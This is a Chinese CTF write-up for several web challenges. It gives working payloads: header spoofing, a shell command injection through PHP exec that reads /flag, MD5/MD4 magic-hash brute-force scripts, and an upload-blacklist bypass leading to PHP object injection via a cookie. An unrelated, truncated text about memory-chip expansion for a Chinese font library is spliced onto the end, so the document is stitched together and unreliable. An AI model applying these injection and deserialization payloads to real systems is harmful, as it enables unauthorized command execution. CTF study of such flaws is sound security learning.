HZNU-web

Signin

在这里插入图片描述
打开场景,说是没有定义的ip,也就是要修改ip地址,直接抓包
在这里插入图片描述
一开始尝试XFF但是没成功,用Client成功了
payload1:
Client-Ip: 127.0.0.1
又说必须要是handsome guys,因此就修改User-Agent,得到flag
在这里插入图片描述
后记:
不知道是操作原因还是环境原因,差点拿一血了来着,唉

Command shell

打开页面就是源码,一步一步来吧

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['file'])){
        $p=$_GET['file'];
        $a = $_GET['a'];
        if(!(is_file($p)===false)){
            if(is_numeric($a) && strlen($a)<8 && ($a**2)==0 &&$a!=0){
                if(substr(md5($_GET['b']),0,6)==='2b3599'){
                $count = $_GET['count'];
                echo "The count is ".exec('printf \'' . $count . '\' | wc -c');
                }else{
                    echo '很近了';
                }
            }else{
                echo "还是太年轻了...";
            }
        }else{
            echo '第一关都过不了?';
        }
    }
?>

0x01:

 $p=$_GET['file'];
 if(!(is_file($p)===false))

要求$p是当前存在的文件的名字,一般都会有index.php,那就直接用吧
payload1:
file=index.php

0x02:

$a = $_GET['a'];
if(is_numeric($a) && strlen($a)<8 && ($a**2)==0 &&$a!=0)

有四个条件,要是数字并且长度小于8,二次幂的值为0,但是又不能为0
直接写出来吧
payload2:
a=1e-199

0x03:

if(substr(md5($_GET['b']),0,6)==='2b3599')

用之前找到的大佬的脚本跑就行了

import hashlib
def main(x):
    for i in range(1,100000000):
        MD5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if MD5[0:6] == str(x):
            print(i)
if __name__ == '__main__':
    main('2b3599')

0x04:

echo "The count is ".exec('printf \'' . $count . '\' | wc -c');

这里才是这道题的重点了
利用exec函数进行命令执行
一开始里面有\'以至于有两个单引号需要自己闭合,并且printf和后面的| wc -c都不用执行,所以可以用管道符截掉
payload3:
count=';cat /flag||'

总的payload:

?file=index.php&a=1e-199&b=17808027&count=%27;cat%20/flag||%27

后记:
其实之前做到过类似(都可以说一模一样了)的题目

Funmd5

打开场景,开始代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
$flag = file_get_contents('/flag');
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
if($_GET['num']!==123456 && preg_match('/^123456/',$_GET['num'])){
    echo '1st ok'."<br>";
    
}else{
    die('toooo young');
}

if(is_numeric($str1)){
    $md5_1 = md5($str1);
    $md5_2 = md5($str2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'nnnnb', '12345');
        $b = strtr($md5_2, 'nnnnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}
if ($_GET["hash1"] == hash("md4", $_GET["hash1"]))
{    
    echo $flag;
    
}else{
    die('bad');
}
?>

0x01:
可以使用%0a来绕过比较和preg_match之间的矛盾,但是不知道是我想错了还是环境问题,这道题直接num=123456就过了

if($_GET['num']!==123456 && preg_match('/^123456/',$_GET['num']))

0x02:
这段怪折磨人的,要实现md5加密之后不相等,但是在字符替换之后又相等了
因为没有强制不能查资料,所以最后找到了可以进行爆破的脚本

if(is_numeric($str1)){
    $md5_1 = md5($str1);
    $md5_2 = md5($str2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'nnnnb', '12345');
        $b = strtr($md5_2, 'nnnnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

exp:

<?php
$count = 0;
for ($i = 1; $i <= 100000000; $i++) {
    $md5 = strtr(md5($i), 'nnnnb', '12345');
    if (preg_match('/^0e\d+$/', $md5)) {
        echo $i . " " . md5($i) . "<br>";
        $count++;
    }
    if ($count == 2) {
        break;
    }
}

payload2:
str1=11230178&str2=20493141

这里实现了md5值不同但是替换之后又相同是因为,php中以0e开头的数字会被认为是0,而如果md5加密之后以0e开头并且在进行strstr函数的替换之后后面的都是数字,那么得出的结果在php松散比较之下就会实现相等
在这里插入图片描述
0x03:

if ($_GET["hash1"] == hash("md4", $_GET["hash1"]))
{    
    echo $flag;
    
}else{
    die('bad');
}

感觉和上一个类似,如果以0e开头的数据被md4加密之后的值也是以0e开头,这样的话应该就可以绕过了
exp:

for($i=1;$i<=10000000000000;$i++){
	$a = '0e'.$i;
	$hash1 = hash("md4",$a);
	if(preg_match('/^0e\d+$/',$hash1){
		echo $a."\n";
		break;
	}
}

payload3:
hash1=0e251288019

最终payload:
?num=123456&str1=11230178&str2=20493141&hash1=0e251288019

Upload

打开场景发现要文件上传
在这里插入图片描述
一开始以为只是简单的文件上传题目,但是把各个方法试了一下之后都没有成功,所以最后没做出来(主要是一开始以为不能用扫描,就不敢扫,没想到原来可以的
发现有index.php文件信息泄露

<?php
spl_autoload_register();
ini_set('display_errors', false);
error_reporting(0);
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"attach\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
	if($_FILES["attach"]["error"] == 0) {
    if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
        $blackext = ["php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx","<",">","jsw", "jsv", "jspf","jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer","swf", "htaccess", "ini"];
        $filearr = pathinfo($_FILES["attach"]["name"]);
        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
            exit("type error");
        }
        if(in_array($filearr["extension"], $blackext)) {
            exit("extension error");
        }
        $filename = $_FILES["attach"]["name"];
        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {    
            array_push($userinfo, $filename);
            setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
            echo htmlspecialchars("upload success, new filename is {$filename} .");
        } else {
            echo "upload error!";
        }
    }
} else {
    echo "no upload file";
}
$userinfo = unserialize($_COOKIE["userinfo"]);
?>

0x01:代码审计+解题
前面一大段代码主要就是对上传到文件进行类型和拓展名的过滤,然后可以发现两行比较特别的代码

setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
$userinfo = unserialize($_COOKIE["userinfo"]);

设立了userinfocookie并在最后进行反序列化操作,而抓包之后userinfo这个cookie值是我们控的
但是要上传什么文件就不是很清楚了,最后找了资料发现是php对象注入的题目
小记一次PHP对象注入
在这里插入图片描述
在这里插入图片描述
根据上图可知,我们可以上传一个拓展名为inc的文件,并且定义的类名必须与文件名相同即:
我们上传文件info.inc
则文件里面的内容为:

<?php
class info{
	function __wakeup(){
		phpinfo();
   }
}

##############
<?php
class info{
	function __destruct(){
		phpinfo();
   }
}

之后进行抓包,修改MIME,并在cookie中设置userinfo的值为O:4:"info":0:{},因为wakeup魔术方法会在反序列化之前自动调用,这个时候就自动执行phpinfo();
在这里插入图片描述
之后可以修改魔术方法里面的命令得到flag
在这里插入图片描述

汉字字库存储芯片扩展实验 # 汉字字库存储芯片扩展实验 ## 实验目的 1. 了解汉字字库的存储原理和结构 2. 掌握存储芯片扩展技术 3. 学习如何通过硬件扩展实现大容量汉字字库存储 ## 实验原理 ### 汉字字库存储基础 - 汉字通常采用点阵方式存储(如16×16、224、32×32点阵) - 每个汉字需要占用32字节(16×16)到128字节(32×32)不等的存储空间 - 国标GB2312-80包含6763个汉字,需要较大存储容量 ### 存储芯片扩展方法 1. **位扩展**:增加数据总线宽度 2. **字扩展**:增加存储单元数量 3. **混合扩展**:同时进行位扩展和字扩展 ## 实验设备 - 单片机开发板(如STC89C52) - 存储芯片(如27C256、29C040等) - 逻辑门电路芯片(如74HC138、74HC373等) - 示波器、万用表等测试设备 - 连接线若干 ## 实验步骤 ### 1. 单芯片汉字存储实验 1. 连接27C256 EPROM芯片到单片机系统 2. 将16×16点阵汉字字库写入芯片 3. 编写程序读取并显示汉字 ### 2. 存储芯片字扩展实验 1. 使用地址译码器(如74HC138)扩展多片27C256 2. 将完整GB2312字库分布到各芯片中 3. 编写程序实现跨芯片汉字读取 ### 3. 存储芯片位扩展实验 1. 连接两片27C256实现16位数据总线扩展 2. 优化字库存储结构,提高读取速度 3. 测试并比较扩展前后的性能差异 ## 实验代码示例(单片机部分) ```c #include <reg52.h> #include <intrins.h> // 定义存储芯片控制引脚 sbit CE = P2^7; // 片选 sbit OE = P2^6; // 输出使能 sbit
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值